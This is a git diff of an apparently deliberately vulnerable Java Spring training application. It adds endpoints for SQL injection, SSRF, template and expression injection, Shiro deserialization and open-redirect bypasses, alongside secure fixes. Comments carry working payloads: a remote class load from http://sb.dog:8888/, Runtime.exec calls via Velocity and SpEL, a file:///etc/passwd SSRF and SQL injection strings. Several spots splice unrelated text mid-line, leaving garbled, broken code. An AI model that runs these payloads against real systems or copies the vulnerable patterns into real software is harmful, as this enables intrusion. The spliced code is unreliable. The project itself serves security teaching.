+ private String getImgBase64(String imgFile) throws IOException {
+
+ logger.info("Working directory: " + System.getProperty("user.dir"));
+ logger.info("File path: " + imgFile);
+
+ File f = new File(imgFile);
+ if (f.exists() && !f.isDirectory()) {
+ byte[] data = Files.readAllBytes(Paths.get(imgFile));
+ return new String(Base64.encodeBase64(data));
+ } else {
+ return "File doesn't exist or is not a file.";
+ }
+ }
+
+ public static void main(String[] argv) throws IOException {
+ String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8);
+ System.out.println(aa);
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+ /**
+ * url = 'http://sb.dog:8888/';
+ * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+ * classLoader.loadClass('Hello').newInstance();
+ */
+ @RequestMapping("/vuln1")
+ public String vuln1(HttpServletRequest req) throws Exception{
+ String express = WebUtils.getRequestBody(req);
+ System.out.println(express);
+ ExpressRunner runner = new ExpressRunner();
+ DefaultContext Sql injection jbdc vuln code. Sql injection jbdc security code by using {@link PreparedStatement}. Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder. Sql injection of mybatis vuln code. select * from users where username = 'joychou' or '1'='1' Sql injection of mybatis vuln code. select * from users where username like '%joychou' or '1'='1%' Sql injection of mybatis vuln code. select * from users order by id desc-- asc Sql injection mybatis security code. Sql injection mybatis security code. Sql injection mybatis security code. Order by sql injection mybatis security code by using sql filter. select * from users order by id asc
+ * The default setting of followRedirects is true.
+ * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
+ * Open a calculator in MacOS.
+ *
+ * @param template exp
+ */
+ @GetMapping("/velocity")
+ public void velocity(String template) {
+ Velocity.init();
+
+ VelocityContext context = new VelocityContext();
+
+ context.put("author", "Elliot A.");
+ context.put("address", "217 E Broadway");
+ context.put("phone", "555-1337");
+
+ StringWriter swOut = new StringWriter();
+ Velocity.evaluate(context, swOut, "test", template);
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+ byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+ private final static String DELETE_ME = "deleteMe";
+ AesCipherService acs = new AesCipherService();
+
+
+ @GetMapping(value = "/shiro/deserialize")
+ public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+ Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+
+ try {
+ String rememberMe = cookie.getValue();
+ byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+ byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+ ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+ ObjectInputStream in = new ObjectInputStream(bytes);
+ in.readObject();
+ in.close();
+ } catch (Exception e){
+ if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+ log.error(e.getMessage());
+ return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+ }
+ }
+
+ return "Shiro deserialize";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
new file mode 100644
index 00000000..452180b8
--- /dev/null
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import org.springframework.expression.Expression;
+import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+
+/**
+ * SpEL Injection.
+ * @author JoyChou @2019-01-17
+ */
+@RestController
+public class SpEL {
+
+ /**
+ * Use Spel to execute cmd.
+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
+ */
+ @RequestMapping("/spel/vuln1")
+ public String spel_vuln1(String value) {
+ ExpressionParser parser = new SpelExpressionParser();
+ return parser.parseExpression(value).getValue().toString();
+ }
+
+ /**
+ * Use Spel to execute cmd.
+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+ * Exploit must add
+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
+ * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
+ */
+ @GetMapping("/vuln/contains")
+ public String contains(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
+
+ for (String domain : domainwhitelist) {
+ if (host.contains(domain)) {
+ return "Good url.";
+ }
}
+ return "Bad url.";
}
- // 绕过方法bypassjoychou.com,代码功能和endsWith一样/
- @RequestMapping("/regex")
- @ResponseBody
- public String regex(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- Pattern p = Pattern.compile("joychou\\.com");
- Matcher m = p.matcher(rootDomain);
+ /**
+ * bypass poc: bypassjoychou.org. It's the same with endsWith.
+ * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
+ */
+ @GetMapping("/vuln/regex")
+ public String regex(@RequestParam("url") String url) {
+
+ String host = SecurityUtil.gethost(url);
+ Pattern p = Pattern.compile("joychou\\.org$");
+ Matcher m = p.matcher(host);
+
if (m.find()) {
- return "URL is legal";
+ return "Good url.";
} else {
- return "URL is illegal";
+ return "Bad url.";
}
}
- // 安全代码
- @RequestMapping("/seccode")
- @ResponseBody
- public String seccode(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
+ /**
+ * The bypass of using {@link java.net.URL} to getHost.
+ *
+ * bypass 1
+ * bypass 2
+ *
+ *
+ * More details
+ */
+ @GetMapping("/vuln/url_bypass")
+ public void url_bypass(String url, HttpServletResponse res) throws IOException {
+
+ logger.info("url: " + url);
+
+ if (!SecurityUtil.isHttp(url)) {
+ return;
+ }
+
URL u = new URL(url);
- // 判断是否是http(s)协议
- if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
- return "URL is not http or https";
+ String host = u.getHost();
+ logger.info("host: " + host);
+
+ // endsWith .
+ for (String domain : domainwhitelist) {
+ if (host.endsWith("." + domain)) {
+ res.sendRedirect(url);
+ }
}
- String host = u.getHost().toLowerCase();
- // 如果非顶级域名后缀会报错
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- if (rootDomain.equals(urlwhitelist)) {
- return "URL is legal";
- } else {
- return "URL is illegal";
+ }
+
+
+ /**
+ * First-level & Multi-level host whitelist.
+ * http://localhost:8080/url/sec?url=http://aa.joychou.org
+ */
+ @GetMapping("/sec")
+ public String sec(@RequestParam("url") String url) {
+
+ String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
+
+ if (!SecurityUtil.isHttp(url)) {
+ return "SecurityUtil is not http or https";
+ }
+
+ String host = SecurityUtil.gethost(url);
+
+ for (String whiteHost: whiteDomainlists){
+ if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
+ return url;
+ } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
+ return url;
+ }
}
+
+ return "Bad url.";
}
+ /**
+ * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
+ */
+ @GetMapping("/sec/array_indexOf")
+ public String sec_array_indexOf(@RequestParam("url") String url) {
+
+ // Define muti-level host whitelist.
+ ArrayList 动态添加WebSockets实现命令执行
+ * 1. WebSocket的端口和Spring端口一致。
+ * http://localhost:8080/websocket/cmd?path=/ws/shell JoyChou @ 2023年02月20日
+ * Still need to add @ServletComponentScan annotation in Application.java.
+ */
+@WebFilter(filterName = "referFilter", urlPatterns = "/*")
+public class ReferFilter implements Filter {
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+ throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+ String refer = request.getHeader("referer");
+ PathMatcher matcher = new AntPathMatcher();
+ boolean isMatch = false;
+
+ // 获取要校验Referer的Uri
+ for (String uri : WebConfig.getReferUris()) {
+ if (matcher.match(uri, request.getRequestURI())) {
+ isMatch = true;
+ break;
+ }
+ }
+
+ if (!isMatch) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ if (!WebConfig.getReferSecEnabled()) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ // Check referer for all GET requests with callback parameters.
+
+ String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
+ if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
+ // If the check of referer fails, a 403 forbidden error page will be returned.
+ if (SecurityUtil.checkURL(refer) == null) {
+ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ + "Referer: " + refer);
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write(" Referer check error.");
+ response.flushBuffer();
+ return;
+ }
+ }
+
+
+ filterChain.doFilter(req, res);
+ }
+
+ @Override
+ public void destroy() {
+
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java
new file mode 100644
index 00000000..d3bbf3a1
--- /dev/null
+++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java
@@ -0,0 +1,44 @@
+package org.joychou.impl;
+
+
+import org.joychou.service.HttpService;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.HttpHeaders;
+import org.springframework.http.ResponseEntity;
+import org.springframework.stereotype.Service;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.http.HttpMethod;
+
+import javax.annotation.Resource;
+
+@Service
+public class HttpServiceImpl implements HttpService {
+
+ @Resource
+ private RestTemplate restTemplate;
+
+ @Resource
+ private RestTemplate restTemplateBanRedirects;
+
+ /**
+ * Http request by RestTemplate. Only support HTTP protocol.
+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttp(String url, HttpHeaders headers) {
+ HttpEntity
+ * Redirects: Disable followRedirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttpBanRedirects(String url, HttpHeaders headers) {
+ HttpEntity Normal: Bypass: Hello . Welcome to login java-sec-code application. Application Infomation
+ Swagger
+ CmdInject
+ JSONP
+ Picture Upload
+ File Upload
+ Cors
+ PathTraversal
+ SqlInject
+ SSRF
+ RCE
+ ooxml XXE
+ xlsx-streamer XXE
+ actuator env
+
+ JWTCreateToken
+ GetUserFromJWTToken
+ ...
+ RememberMe
+ Fix method by using class and method blacklist. It may exist bypass. Default blacklist:
+ * Fix method by using sandbox.
+ *
+ * http://localhost:8080/sqli/jdbc/vuln?username=joychou
+ */
+ @RequestMapping("/jdbc/vuln")
+ public String jdbc_sqli_vul(@RequestParam("username") String username) {
+
+ StringBuilder result = new StringBuilder();
- String name = request.getParameter("name");
- String driver = "com.mysql.jdbc.Driver";
- String url = "jdbc:mysql://localhost:3306/sectest";
- String user = "root";
- String password = "woshishujukumima";
- String result = "";
try {
Class.forName(driver);
- Connection con = DriverManager.getConnection(url,user,password);
+ Connection con = DriverManager.getConnection(url, user, password);
- if(!con.isClosed())
- System.out.println("Connecting to Database successfully.");
+ if (!con.isClosed())
+ System.out.println("Connect to database successfully.");
- // sqli vuln code 漏洞代码
- Statement statement = con.createStatement();
- String sql = "select * from users where name = '" + name + "'";
- System.out.println(sql);
- ResultSet rs = statement.executeQuery(sql);
+ // sqli vuln code
+ Statement statement = con.createStatement();
+ String sql = "select * from users where username = '" + username + "'";
+ logger.info(sql);
+ ResultSet rs = statement.executeQuery(sql);
- // fix code 用预处理修复SQL注入
-// String sql = "select * from users where name = ?";
-// PreparedStatement st = con.prepareStatement(sql);
-// st.setString(1, name);
-// System.out.println(st.toString()); // 预处理后的sql
-// ResultSet rs = st.executeQuery();
+ while (rs.next()) {
+ String res_name = rs.getString("username");
+ String res_pwd = rs.getString("password");
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
+ }
+ rs.close();
+ con.close();
- System.out.println("-----------------");
- while(rs.next()){
- String res_name = rs.getString("name");
- String res_pwd = rs.getString("password");
- result += res_name + ": " + res_pwd + "\n";
- System.out.println(res_name + ": " + res_pwd);
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry, can't find the Driver!");
+ } catch (SQLException e) {
+ logger.error(e.toString());
+ }
+ return result.toString();
+ }
+
+ /**
+ *
+ *
+ * http://localhost:8080/sqli/jdbc/sec?username=joychou
+ */
+ @RequestMapping("/jdbc/sec")
+ public String jdbc_sqli_sec(@RequestParam("username") String username) {
+
+ StringBuilder result = new StringBuilder();
+ try {
+ Class.forName(driver);
+ Connection con = DriverManager.getConnection(url, user, password);
+
+ if (!con.isClosed())
+ System.out.println("Connect to database successfully.");
+
+ // fix code
+ String sql = "select * from users where username = ?";
+ PreparedStatement st = con.prepareStatement(sql);
+ st.setString(1, username);
+
+ logger.info(st.toString()); // sql after prepare statement
+ ResultSet rs = st.executeQuery();
+
+ while (rs.next()) {
+ String res_name = rs.getString("username");
+ String res_pwd = rs.getString("password");
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
}
+
rs.close();
con.close();
-
- }catch (ClassNotFoundException e) {
- System.out.println("Sorry,can`t find the Driver!");
- e.printStackTrace();
- }catch (SQLException e) {
- e.printStackTrace();
- }catch (Exception e) {
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry, can't find the Driver!");
e.printStackTrace();
+ } catch (SQLException e) {
+ logger.error(e.toString());
+ }
+ return result.toString();
+ }
+
- }finally{
- System.out.println("-----------------");
- System.out.println("Connect database done.");
+ /**
+ *
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102.
+ * Apache-HttpClient/4.5.12 (Java/1.8.0_102)
.
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+ */
+ @GetMapping("/request/sec")
+ public String request(@RequestParam String url) {
try {
- String url = request.getParameter("url");
- return Request.Get(url).execute().returnContent().toString();
- }catch(Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.request(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
- @RequestMapping("/openStream")
- @ResponseBody
- public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException {
+ /**
+ * Download the url file.
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
+
+ */
+ @GetMapping("/openStream")
+ public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
- String url = request.getParameter("url");
try {
- String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
+ String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
@@ -116,62 +133,186 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
outputStream.write(bytes, 0, length);
}
- }catch (Exception e) {
- e.printStackTrace();
- }finally {
+ } catch (Exception e) {
+ logger.error(e.toString());
+ } finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
+ }
+ }
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @GetMapping("/ImageIO/sec")
+ public String ImageIO(@RequestParam String url) {
+ try {
+ SecurityUtil.startSSRFHook();
+ HttpUtils.imageIO(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
+ return "ImageIO ssrf test";
}
- @RequestMapping("/ImageIO")
- @ResponseBody
- public static void ssrf_ImageIO(HttpServletRequest request) {
- String url = request.getParameter("url");
+ @GetMapping("/okhttp/sec")
+ public String okhttp(@RequestParam String url) {
+
try {
- URL u = new URL(url);
- ImageIO.read(u); // send request
- } catch (Exception e) {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.okhttp(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
}
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102)
.
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/httpclient/sec")
+ public String HttpClient(@RequestParam String url) {
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.httpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
- @RequestMapping("/okhttp")
- @ResponseBody
- public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
- String url = request.getParameter("url");
- OkHttpClient client = new OkHttpClient();
- com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
- client.newCall(ok_http).execute();
}
- @RequestMapping("/HttpClient")
- @ResponseBody
- public static String ssrf_HttpClient(HttpServletRequest request) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Jakarta Commons-HttpClient/3.1
.
+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/commonsHttpClient/sec")
+ public String commonsHttpClient(@RequestParam String url) {
- String url = request.getParameter("url");
- CloseableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet(url);
try {
- HttpResponse httpResponse = client.execute(httpGet); // send request
- BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
- StringBuffer result = new StringBuffer();
- String line = "";
- while ((line = rd.readLine()) != null) {
- result.append(line);
- }
- return result.toString();
- }catch (Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.commonHttpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
+ }
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+ */
+ @GetMapping("/Jsoup/sec")
+ public String Jsoup(@RequestParam String url) {
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.Jsoup(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102
.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/IOUtils/sec")
+ public String IOUtils(String url) {
+ try {
+ SecurityUtil.startSSRFHook();
+ HttpUtils.IOUtils(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+ return "IOUtils ssrf test";
+ }
+
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102)
.
+ */
+ @GetMapping("/HttpSyncClients/vuln")
+ public String HttpSyncClients(@RequestParam("url") String url) {
+ return HttpUtils.HttpAsyncClients(url);
}
+
+
+ /**
+ * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com
+ */
+ @GetMapping("/restTemplate/vuln1")
+ public String RestTemplateUrlBanRedirects(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttpBanRedirects(url, headers);
+ }
+
+
+ @GetMapping("/restTemplate/vuln2")
+ public String RestTemplateUrl(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttp(url, headers);
+ }
+
+
+ /**
+ * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool.
+ * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com
+ */
+ @GetMapping("/hutool/vuln")
+ public String hutoolHttp(String url){
+ return HttpUtil.get(url);
+ }
+
+
+ /**
+ * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url
+ */
+ @GetMapping("/dnsrebind/vuln")
+ public String DnsRebind(String url) {
+ java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
+ if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+ return "Dangerous url";
+ }
+ return HttpUtil.get(url);
+ }
+
+
}
diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java
new file mode 100644
index 00000000..0c44eb93
--- /dev/null
+++ b/src/main/java/org/joychou/controller/SSTI.java
@@ -0,0 +1,39 @@
+package org.joychou.controller;
+
+
+import org.apache.velocity.VelocityContext;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import org.apache.velocity.app.Velocity;
+
+import java.io.StringWriter;
+
+@RestController
+@RequestMapping("/ssti")
+public class SSTI {
+
+ /**
+ * SSTI of Java velocity. The latest Velocity version still has this problem.
+ * Fix method: Avoid to use Velocity.evaluate method.
+ * #{}
if using TemplateParserContext.
+ */
+ @RequestMapping("spel/vuln2")
+ public String spel_vuln2(String value) {
+ StandardEvaluationContext context = new StandardEvaluationContext();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context); // trigger vulnerability point
+ return x.toString(); // response
+ }
+
+ /**
+ * Use SimpleEvaluationContext to fix.
+ */
+ @RequestMapping("spel/sec")
+ public String spel_sec(String value) {
+ SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context);
+ return x.toString();
+ }
+
+ public static void main(String[] args) {
+ ExpressionParser parser = new SpelExpressionParser();
+ String expression = "1+1";
+ String result = parser.parseExpression(expression).getValue().toString();
+ System.out.println(result);
+ }
+
+}
+
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index ce52477c..2b96322e 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -11,69 +11,83 @@
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
+import org.joychou.security.SecurityUtil;
+
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2017.12.28
- * @desc: Java url redirect
+ * The vulnerability code and security code of Java url redirect.
+ * The security code is checking whitelist of url redirect.
+ *
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2017.12.28
*/
-
@Controller
@RequestMapping("/urlRedirect")
public class URLRedirect {
/**
- * @disc: 存在URL重定向漏洞
- * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+ * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com
*/
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}
+
/**
- * @disc: 存在URL重定向漏洞
- * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+ * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com
*/
@RequestMapping("/setHeader")
@ResponseBody
- public static void setHeader(HttpServletRequest request, HttpServletResponse response){
+ public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}
+
/**
- * @disc: 存在URL重定向漏洞
- * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+ * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com
*/
@RequestMapping("/sendRedirect")
@ResponseBody
- public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
/**
- * @usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
- * @disc: 安全代码,没有URL重定向漏洞。
+ * Safe code. Because it can only jump according to the path, it cannot jump according to other urls.
+ * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
*/
@RequestMapping("/forward")
@ResponseBody
- public static void forward(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
- RequestDispatcher rd =request.getRequestDispatcher(url);
- try{
+ RequestDispatcher rd = request.getRequestDispatcher(url);
+ try {
rd.forward(request, response);
- }catch (Exception e) {
+ } catch (Exception e) {
e.printStackTrace();
}
}
- @RequestMapping("/test")
+
+ /**
+ * Safe code of sendRedirect.
+ * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
+ */
+ @RequestMapping("/sendRedirect/sec")
@ResponseBody
- public static String test() {
- return "test";
+ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
+ throws IOException {
+ String url = request.getParameter("url");
+ if (SecurityUtil.checkURL(url) == null) {
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("url forbidden");
+ return;
+ }
+ response.sendRedirect(url);
}
}
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index a63ae2cf..156cc73d 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,102 +1,171 @@
package org.joychou.controller;
-import com.google.common.net.InternetDomainName;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
import java.net.URL;
+import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
- * date: 2018年08月23日
- * author: JoyChou
- * desc: URL白名单绕过
+ * The vulnerability code and security code of Java url whitelist.
+ * The security code is checking url whitelist.
+ *
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2018.08.23
*/
-@Controller
+@RestController
@RequestMapping("/url")
public class URLWhiteList {
- private String urlwhitelist = "joychou.com";
+ private String domainwhitelist[] = {"joychou.org", "joychou.com"};
+ private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
+ /**
+ * bypass poc: bypassjoychou.org
+ * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
+ */
+ @GetMapping("/vuln/endsWith")
+ public String endsWith(@RequestParam("url") String url) {
- // 绕过方法bypassjoychou.com
- @RequestMapping("/endswith")
- @ResponseBody
- public String endsWith(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- System.out.println(url);
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
+ String host = SecurityUtil.gethost(url);
